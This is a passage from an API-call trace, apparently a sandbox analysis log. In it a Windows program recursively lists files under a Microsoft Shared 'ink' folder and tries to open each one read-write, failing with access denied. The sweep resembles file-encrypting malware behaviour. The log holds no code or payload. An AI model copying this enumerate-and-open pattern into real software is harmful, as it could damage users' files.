dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0086.402] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned 72 [0086.402] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*") returned 76 [0086.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.402] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.402] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0086.402] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0086.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.403] GetLastError () returned 0x5 [0086.403] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0086.403] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0086.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.404] GetLastError () returned 0x5 [0086.404] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0086.404] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0086.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.404] GetLastError () returned 0x5 [0086.405] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0086.405] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.405] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0086.405] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0086.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.406] GetLastError () returned 0x5 [0086.407] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0086.407] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned 68 [0086.407] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*") returned 72 [0086.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.408] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.408] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0086.408] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0086.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.410] GetLastError () returned 0x5 [0086.410] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0086.410] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.410] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0086.410] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0086.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.411] GetLastError () returned 0x5 [0086.411] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0086.411] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.411] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0086.411] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned 56 [0086.411] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*") returned 60 [0086.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.412] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.412] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.412] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0086.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.412] GetLastError () returned 0x5 [0086.412] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.412] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.412] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0086.413] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned 56 [0086.413] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*") returned 60 [0086.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.413] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.413] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.413] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0086.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.414] GetLastError () returned 0x5 [0086.414] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.414] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0086.414] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned 56 [0086.414] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*") returned 60 [0086.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.415] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.415] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.415] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0086.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.417] GetLastError () returned 0x5 [0086.417] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.417] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.417] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0086.417] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0086.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.418] GetLastError () returned 0x5 [0086.418] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0086.418] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned 67 [0086.418] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*") returned 71 [0086.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, 